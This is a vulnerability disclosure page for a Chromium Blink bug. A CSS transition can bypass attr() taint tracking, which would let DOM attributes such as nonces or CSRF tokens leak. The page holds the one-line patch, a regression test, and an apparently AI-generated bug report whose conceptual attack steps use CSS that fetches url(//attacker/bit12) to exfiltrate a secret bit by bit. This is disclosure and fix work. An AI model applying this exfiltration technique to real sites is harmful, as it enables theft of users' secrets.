CVE-2026-106348
Overview
Files Changed
third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.htmlthird_party/blink/renderer/core/animation/css/css_animations.cc
Patch
From 695f103232c8a9cace652945719bbceab4fefc87 Mon Sep 17 00:00:00 2001 From: Kevin Ellis <[email protected]> Date: Thu, 10 Sep 2026 12:48:57 -0700 Subject: [PATCH] Prevent CSS transition from leaking tainted value Previously we could leak an attr-tainted value by stopping an animation in the same frame that a transition starts that affects the same property. Removal of the CSS animation can result in the start value of a transition being attr-tainted. We were incorrectly getting the variable data from the previous update's style and not from before-change style. Bug: 537107728 Change-Id: Ie070a17a8d5af469895fff33fa19e9a114529815 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8386356 Reviewed-by: Rune Lillesveen <[email protected]> Commit-Queue: Kevin Ellis <[email protected]> Cr-Commit-Position: refs/heads/main@{#1695585} --- diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc index 12756c6..c2748d3 100644 --- a/third_party/blink/renderer/core/animation/css/css_animations.cc +++ b/third_party/blink/renderer/core/animation/css/css_animations.cc @@ -2664,7 +2664,7 @@ const Document& document = state.animating_element.GetDocument(); CSSPropertyName property_name = property.GetCSSPropertyName(); CSSPropertyRef custom_ref(&property_name, document); - CSSVariableData* old_data = state.old_style.GetVariableData( + CSSVariableData* old_data = before_change_style.GetVariableData( property.CustomPropertyName(), custom_ref.GetProperty().IsInherited()); CSSVariableData* new_data = after_change_style.GetVariableData( property.CustomPropertyName(), custom_ref.GetProperty().IsInherited()); diff --git a/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html new file mode 100644 index 0000000..a5f8fbe --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html @@ -0,0 +1,66 @@ +<!DOCTYPE html> +<html> +<head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security"> + <script src="/resources/testharness.js"></script> + <script src="/resources/testharnessreport.js"></script> + <script src="/web-animations/testcommon.js"></script> + <title>attr()-taint in CSS transition</title> +</head> +<style> + @property --src { + syntax: "<number>"; + inherits: true; + initial-value: 0; + } + @property --n { + syntax: "<number>"; + inherits: false; + initial-value: 0; + } + + @keyframes mask { + from { --src: 0; } + to { --src: 0; } + } + + #target { + background-color: rebeccapurple; + width: 200px; + height: 200px; + transition: --n 1000s steps(1, end); + } + + #target.stage1 { + --src: attr(data-secret type(<number>)); + --n: var(--src); + animation: mask 1000s linear; + } + + #target.stage2 { + animation: none; + --n: -1; + background-image: + /* transition start value is attr()-tainted. Ensure it is not leaked. */ + if(style(--n: 7193): url("/leaked/secret.html"); else: none); + } + +</style> +<body> + <div id="target" data-secret="7193" class="stage1"></div> +</body> +<script> + promise_test(async () => { + const target = document.getElementById('target'); + getComputedStyle(target).getPropertyValue('--n'); + await runAndWaitForFrameUpdate(() => { + target.classList.remove('stage1'); + target.classList.add('stage2'); + }); + const bg = getComputedStyle(target).getPropertyValue('background-image'); + assert_equals(bg, 'none'); + }, 'Attribute tainted value blocked'); +</script> +</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
new file mode 100644
index 0000000..a5f8fbe
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/css-variables/transition-with-attribute-taint.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <meta charset="utf-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1">
+ <link rel="help" href="https://drafts.csswg.org/css-values-5/#attr-security">
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+ <script src="/web-animations/testcommon.js"></script>
+ <title>attr()-taint in CSS transition</title>
+</head>
+<style>
+ @property --src {
+ syntax: "<number>";
+ inherits: true;
+ initial-value: 0;
+ }
+ @property --n {
+ syntax: "<number>";
+ inherits: false;
+ initial-value: 0;
+ }
+
+ @keyframes mask {
+ from { --src: 0; }
+ to { --src: 0; }
+ }
+
+ #target {
+ background-color: rebeccapurple;
+ width: 200px;
+ height: 200px;
+ transition: --n 1000s steps(1, end);
+ }
+
+ #target.stage1 {
+ --src: attr(data-secret type(<number>));
+ --n: var(--src);
+ animation: mask 1000s linear;
+ }
+
+ #target.stage2 {
+ animation: none;
+ --n: -1;
+ background-image:
+ /* transition start value is attr()-tainted. Ensure it is not leaked. */
+ if(style(--n: 7193): url("/leaked/secret.html"); else: none);
+ }
+
+</style>
+<body>
+ <div id="target" data-secret="7193" class="stage1"></div>
+</body>
+<script>
+ promise_test(async () => {
+ const target = document.getElementById('target');
+ getComputedStyle(target).getPropertyValue('--n');
+ await runAndWaitForFrameUpdate(() => {
+ target.classList.remove('stage1');
+ target.classList.add('stage2');
+ });
+ const bg = getComputedStyle(target).getPropertyValue('background-image');
+ assert_equals(bg, 'none');
+ }, 'Attribute tainted value blocked');
+</script>
+</html>
Original Bug Report
Bypass of transition attr-taint check via var()-indirected registered property
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: CSS transitions can potentially bypass the CSS Values 5 attr()-in-url() security restriction, allowing same-document DOM attributes (such as nonces or CSRF tokens) to be exfiltrated via CSS injection. This occurs because the taint calculation logic checks the wrong computed style object, which can be manipulated via var()-indirection on an animated property.
Affected files:
third_party/blink/renderer/core/animation/css/css_animations.cc
Estimated timestamp from git blame: Unknown (Google3 checkout)
Core Bug Description
In Chromium’s implementation of CSS Values 5 attr(), a security mitigation (attr-tainting) is applied to prevent same-origin DOM attributes from being exfiltrated via CSS injection into resource-loading sinks (like url()). However, CSSAnimations::CalculateTransitionUpdateForPropertyHandle computes the is_attr_tainted flag for custom property transitions using state.old_style, while it retrieves the actual starting value for the transition from state.before_change_style.
By animating a registered dependency custom property, an attacker can manipulate the value of a dependent property in state.old_style to be untainted while leaving its base value in state.before_change_style tainted. This divergence allows the transition start value to carry the tainted attribute value while laundering its taint flag, permitting exfiltration.
Root Cause Analysis
In third_party/blink/renderer/core/animation/css/css_animations.cc:
CSSInterpolationEnvironment old_environment(map, *state.before_change_style,
after_change_style);
...
start = interpolation_type->MaybeConvertUnderlyingValue(old_environment); // Sourced from before_change_style
But the taint checking for custom properties reads:
bool is_attr_tainted = false;
if (property.IsCSSCustomProperty()) {
...
CSSVariableData* old_data = state.old_style.GetVariableData( // Sourced from old_style
property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
CSSVariableData* new_data = after_change_style.GetVariableData(...);
is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
(new_data && new_data->IsAttrTainted());
}
When a registered property --src (inheriting) is animated via keyframes to 0 (untainted), a dependent property --n: var(--src) will resolve to the untainted 0 in the final computed style (state.old_style). However, the un-animated base style of the previous frame remains untouched in the snapshot used by before_change_style. When the animation is removed in Frame N, a transition starts on --n. Its start value is converted from before_change_style where --src was still the tainted attribute value, but the taint check is performed against state.old_style (which is untainted). This mismatch causes is_attr_tainted to evaluate to false and launders the starting transition value.
Potential Attack Steps (Conceptual)
Note: These are suggested/potential steps, our tooling agent does not yet have the ability to run code.
- Register two
<number>custom properties via@property:--srcand--n. - In Frame N-1, the attacker applies CSS:
#target { --src: attr(data-secret type(<number>)); --n: var(--src); animation: mask 1ms both; transition: --n 10s steps(1, end); } @keyframes mask { from, to { --src: 0; } } - In Frame N, the attacker updates the rules:
#target { animation: none; --n: 5; background-image: if(style(--n > 4096): url(//attacker/bit12); else: none); } - The starting transition keyframe on
--ncarries the secret value but is incorrectly marked as untainted, allowing theif(style())query to successfully evaluate and trigger theurl()network fetch.
Suggested Fix
To resolve this issue, the transition custom property taint check should evaluate is_attr_tainted using state.before_change_style (the style environment from which the starting value was actually converted) rather than state.old_style:
CSSVariableData* old_data = state.before_change_style->GetVariableData(
property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.